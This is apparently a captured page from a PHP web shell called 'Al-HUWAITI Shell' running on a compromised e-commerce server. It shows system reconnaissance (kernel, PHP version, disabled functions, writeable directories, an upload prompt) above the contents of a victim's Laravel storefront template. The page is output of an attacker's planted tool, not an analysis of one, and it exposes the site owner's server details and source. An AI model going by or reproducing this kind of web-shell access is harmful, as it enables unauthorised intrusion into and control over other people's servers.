Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/resources/views/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/resources/views/frontend/new-index.blade.php
@extends('frontend.layouts.master')
@section('title', 'Shop')
@section('main-content')

    @if ($popularSales->count())
        @php
        $product_detail = $popularSales->first();
        @endphp
        <section>
            <div class="container">
                <div class="row">
                    <div class="col-sm-6 pt-4">
                        <h1 class="font-weight-bold">{{ $product_detail->title }}</h1>
                        <h6 class="mb-4 font-px-19 font-weight-normal" style="line-height: 34px;">
                            {!! $product_detail->summary !!}
                        </h6>

                        <div class="mb-4">
                            <div class="ratings d-inline">
                                <ul class="rating d-inline-block">
                                    @php
                                        $rate = ceil($product_detail->getReview->avg('rate'));
                                    @endphp
                                    @for ($i = 1; $i <= 5; $i++)
                                        @if ($rate >= $i)
                                            <li><i class="fa fa-star"></i></li>
                                        @else
                                            <li><i class="fa fa-star-o"></i></li>
                                        @endif
                                    @endfor
                                </ul>
                            </div>

                            <span class="ml-2">
                                <b>{{ $product_detail->getReview->count() }}</b> Customer Reviews
                            </span>
                        </div>

                        <div class="mb-4">
                            <h4>
                                @if ($product_detail->discount)
                                    <span
                                        class="font-weight-bold text-egray"><s>{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->price, 2) }}</s></span>
                                    <span
                                        class="ml-4 font-weight-normal text-e-primary">{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->discounted_price, 2) }}</span>
                                @else
                                    <span
                                        class="font-weight-bold text-e-primary">{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->price, 2) }}</span>
                                @endif
                            </h4>
                        </div>

                        <div class="mb-4">
                            <form class="row" action="{{ route('single-add-to-cart') }}" method="POST">
                                @csrf
                                <div class="col quantity">
                                    <div class="form-group  input-material input-group">

                                        <div class="button minus">
                                            <button type="button" class="btn btn-success btn-sm shadow-sm btn-number"
                                                disabled="disabled" data-type="minus" data-field="quant[1]">
                                                <i class="ti-minus"></i>
                                            </button>
                                        </div>
                                        <input type="hidden" name="slug" value="{{ $product_detail->slug }}">
                                        <input type="text" name="quant[1]" class="form-control font-weight-bold input-number"
                                            data-min="1" data-max="1000" value="1" id="quantity"
                                            style="max-width: 10%; text-align: center;">
                                        <div class="button plus">
                                            <button type="button" class="btn btn-success btn-sm shadow-sm btn-number"
                                                data-type="plus" data-field="quant[1]">
                                                <i class="ti-plus"></i>
                                            </button>
                                        </div>
                                    </div>

                                    <button type="submit" class="btn btn-lg btn-success"><span
                                            class="ti-shopping-cart mr-2"></span> Add to cart</button>
                                    @if (auth()->check())
                                        @if (!$inWishProducts->where('id', $product_detail->id)->isEmpty())
                                            <a href="{{ route('add-to-wishlist', $product_detail->slug) }}"
                                                class="btn btn-success btn-lg min"><i class="ti-heart"></i></a>
                                        @else
                                            <button type="button" class="btn min ok btn-lg text-e-primary">
                                                <i class="ti-heart"></i>
                                            </button>
                                        @endif
                                    @else
                                    @endif

                                </div>
                                <div class="add-to-cart mt-4">
                                </div>
                            </form>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="flexslider-thumbnails">
                            <ul class="slides">
                                @php
                                    $photo = explode(',', $product_detail->photo);
                                @endphp
                                @foreach ($photo as $data)
                                    <li data-thumb="{{ $data }}" rel="adjustX:10, adjustY:">
                                        <img class="lazyload" data-src="{{ Helper::imagePath($data) }}" alt="{{ $data }}">
                                    </li>
                                @endforeach
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    @endif

    <div class="website-section position-relative">
        <div
            style="background: linear-gradient(186.41deg, rgba(3, 214, 117, 0) 10.84%, rgba(3, 214, 117, 0.667604) 94.15%, #03D675 118.98%);opacity: 0.16; position: absolute;left: 0; top: 0; width: 100%; height: 100%;">
        </div>
        <div class="container">

            @if (isset($popularSales) && $popularSales->count())
                <div class="row">
                    <div class="position-relative ml-3 mt-5 mb-3">
                        <h5 style="color:#FFCC4D;">Flash Sales <span class="pl-2 fire-svg">{!! svg_html('fire') !!}</span>
                        </h5>
                        <h2>Popular Sales</h2>
                    </div>
                </div>

                <div class="row">
                    @foreach ($popularSales as $popularSale)
                        <div class="col-xs-12 col-sm-6 col-md-3 mb-4">
                            <x-product-card :product="$popularSale" :show-rating="true" />
                        </div>
                    @endforeach
                </div>
            @endif

            @if (isset($apartments) && $apartments->count())
                <div class="row">
                    <div class="position-relative ml-3 mt-5 mb-3">
                        <h5 style="color:#FFCC4D;">Hot Deals <span class="pl-2 fire-svg">{!! svg_html('fire') !!}</span>
                        </h5>
                        <h2>Apartments For Sales</h2>
                    </div>
                </div>

                <div class="row">
                    @foreach ($apartments as $apartment)
                        <div class="col-xs-12 col-sm-6 col-md-4 mb-4">
                            <x-product-card :product="$apartment" />
                        </div>
                    @endforeach
                </div>
            @endif

        </div>
    </div>


    @if ($hotProducts && $hotProducts->count())
        <div class="website-section">
            <div class="container">
                <div class="row">
                    <div class=" position-relative ml-4">
                        <h5 style="color:#FFCC4D;">Flash Sales <span class="pl-2"
                                style="position: absolute;top: -2px;">{!! svg_html('fire') !!}</span></h5>
                        <h2>Hot Deals For You</h2>
                    </div>
                </div>

                <div class="row">
                    @foreach ($hotProducts as $hotProduct)
                        <div class="col-xs-12 col-sm-6 col-md-3 mb-4">
                            <x-product-card :product="$hotProduct" :show-rating="true" />
                        </div>
                    @endforeach
                </div>

            </div>
        </div>
    @endif

    @include('frontend.partials.recently-viewed')

@endsection

Al-HUWAITI Shell